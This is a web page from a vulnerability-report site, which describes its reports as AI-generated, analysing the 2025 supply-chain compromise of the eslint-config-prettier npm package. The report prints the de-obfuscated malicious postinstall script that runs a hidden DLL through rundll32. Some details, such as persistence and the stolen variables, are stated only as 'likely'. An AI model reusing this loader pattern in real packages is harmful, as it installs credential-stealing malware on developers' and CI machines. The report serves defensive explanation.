CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-54313

CVE-2025-54313: When Prettier Got Ugly

Alon Barad
Alon Barad
Software Engineer

Feb 14, 2026·5 min read·28 visits

Executive Summary (TL;DR)

Attackers hijacked the npm account for `eslint-config-prettier` and published versions 10.1.6 and 10.1.7 containing malware. Upon installation, a `postinstall` script executes a malicious DLL on Windows systems to steal secrets. Immediate update to 10.1.8+ and credential rotation is required.

A sophisticated supply chain attack targeting the popular `eslint-config-prettier` npm package. Attackers compromised a maintainer account via a typosquatted phishing domain (`npnjs.com`), allowing them to publish malicious versions containing a Windows-specific DLL payload. This incident highlights the fragility of the JavaScript ecosystem's implicit trust model.

The Hook: The Trojan Horse in Your Linter

Let's be honest: nobody actually audits their devDependencies. You type npm install, you see the progress bar spin, and you go get a coffee. We trust that eslint-config-prettier—a tool designed solely to stop your coworkers from arguing about semicolons—is safe. It’s the perfect hiding spot. It’s boring, it’s ubiquitous, and it runs with full user privileges the moment you install it.

On July 18, 2025, that trust was weaponized. Several versions of this incredibly popular package (along with friends like synckit and @pkgr/core) were updated not with bug fixes, but with a malicious payload. The maintainer, JounQin, hadn't gone rogue; they were just human. They fell for a classic phishing scheme involving a typosquatted domain (npnjs.com), handing over their publishing tokens to an attacker who wasted no time turning a code formatter into a credential stealer.

This isn't a complex buffer overflow or a heap grooming masterpiece. It is a reminder that the strongest lock on the front door (your firewall) doesn't matter if you invite the burglar in for tea (running npm install without --ignore-scripts).

The Flaw: A Human Error, A Systemic Failure

The root cause here is technically CWE-506 (Embedded Malicious Code), but realistically, it's a failure of identity management in the npm ecosystem. The attacker didn't break the encryption; they just asked for the keys. By phishing the maintainer, they gained the ability to publish valid, signed packages that the npm registry happily accepted and distributed to millions of CI/CD pipelines.

The technical flaw lies in the execution model of package managers. By default, npm and yarn execute preinstall, install, and postinstall scripts defined in package.json. These scripts are arbitrary shell commands. In this case, the attacker injected a postinstall hook that ran a file named install.js.

This script was simple, obfuscated JavaScript designed to fly under the radar. It didn't try to exploit a vulnerability in Node.js; it simply used the features Node.js provides to execute a binary. It's not a bug in Node; it's a feature that attackers love.

The Code: The Smoking Gun

Let's look at what the attacker actually shipped. Hidden inside the node_modules directory was a file named install.js. It wasn't doing anything related to linting. Instead, it was performing a platform check.

Here is the de-obfuscated logic of the malicious script:

const os = require('os');
const path = require('path');
const { spawn } = require('child_process');
 
// Target only Windows systems
if (os.platform() === 'win32') {
  const dllPath = path.join(__dirname, './node-gyp.dll');
  
  // The 'main' export is the entry point for the malware
  spawn('rundll32', [dllPath + ',main'], {
    detached: true,
    stdio: 'ignore'
  });
}

See that? rundll32. The attacker bundled a malicious DLL, masquerading as node-gyp.dll (a legitimate-sounding name), and executed it using Windows' built-in dynamic link library runner. This bypasses basic executable whitelisting because rundll32.exe is a trusted Microsoft binary. The malware itself was designed to scrape environment variables—likely hunting for AWS_ACCESS_KEY_ID, NPM_TOKEN, and SLACK_TOKEN—and exfiltrate them. If you were running this on a developer machine or a CI server on Windows, your secrets were gone before the linting even started.

The Exploit: From `npm install` to Pwnage

The exploitation chain is painfully simple, which is what makes supply chain attacks so effective. Here is how it played out in the wild:

  1. Distribution: The attacker publishes eslint-config-prettier@10.1.6. The version bump triggers automated dependency bots (like Renovate or Dependabot) to open PRs in thousands of repositories.
  2. Execution: A developer pulls the branch and runs npm install, or a CI pipeline starts the build process.
  3. Trigger: The postinstall script fires immediately after the package downloads. No import is required. You don't even have to run the linter.
  4. Payload: The script checks if it's running on Windows. If yes, rundll32 spins up the malicious DLL in a detached process.
  5. Persistence: The malware likely establishes a scheduled task or registry run key to survive reboots, though its primary goal appears to be immediate credential harvesting.

> [!NOTE] > The use of rundll32 is a classic 'Living off the Land' (LoLBin) technique. It blends in with normal system activity, making detection difficult for standard antivirus solutions until signatures are updated.

The Fix: Closing the Barn Door

The immediate fix was a scramble. The maintainer regained access, revoked the compromised tokens, and published clean versions (starting at 10.1.8). The npm security team yanked the malicious versions from the registry, but "yanked" just means you can't install them anymore—it doesn't remove them from machines that already have them.

Long term, the maintainer implemented npm provenance. This is a game-changer. It links the package publication process directly to a specific GitHub Action workflow run using OIDC.

The Hardened Workflow:

# .github/workflows/release.yml
permissions:
  id-token: write # Required for provenance
  contents: write
 
jobs:
  release:
    steps:
      - name: Publish
        env:
          NPM_CONFIG_PROVENANCE: true
        run: npm publish

With this in place, a package cannot be published from a developer's laptop or a phished terminal. It must come from the verified CI environment. If you see an npm package without a provenance badge in 2026, you should probably be suspicious.

Official Patches

PrettierClean release removing the malicious artifacts.

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
EPSS Probability
4.59%
Top 11% most exploited

Affected Systems

Windows (x86/x64)Node.js EnvironmentsCI/CD Pipelines

Affected Versions Detail

Product
Affected Versions
Fixed Version
eslint-config-prettier
prettier
10.1.6 - 10.1.710.1.8
synckit
un-ts
0.11.90.11.10
eslint-plugin-prettier
prettier
4.2.2 - 4.2.34.2.4
AttributeDetail
CWE IDCWE-506
Attack VectorNetwork (Supply Chain)
CVSS7.5 (High)
EPSS Score4.59% (High Probability)
ImpactConfidentiality, Integrity
Exploit StatusActive / Weaponized
KEV ListedYes (Jan 22, 2026)

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1218.011Signed Binary Proxy Execution: Rundll32
Defense Evasion
T1566.002Phishing: Spearphishing Link
Initial Access
CWE-506
Embedded Malicious Code

The product contains code that appears to be malicious in nature.

Known Exploits & Detection

GitHubOriginal issue report identifying the malicious versions.
NucleiDetection Template Available

Vulnerability Timeline

Malicious versions published to npm registry.
2025-07-18
Community flags issue on GitHub; maintainer revokes tokens.
2025-07-18
Clean version 10.1.8 released.
2025-07-18
Added to CISA Known Exploited Vulnerabilities (KEV) catalog.
2026-01-22

References & Sources

  • [1]GHSA Advisory: Malicious Code in eslint-config-prettier
  • [2]Socket.dev Analysis of the Supply Chain Attack

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
7 views•5 min read
•2 days ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
9 views•7 min read
•2 days ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
8 views•5 min read
•2 days ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
7 views•6 min read
•2 days ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
12 views•7 min read
•2 days ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read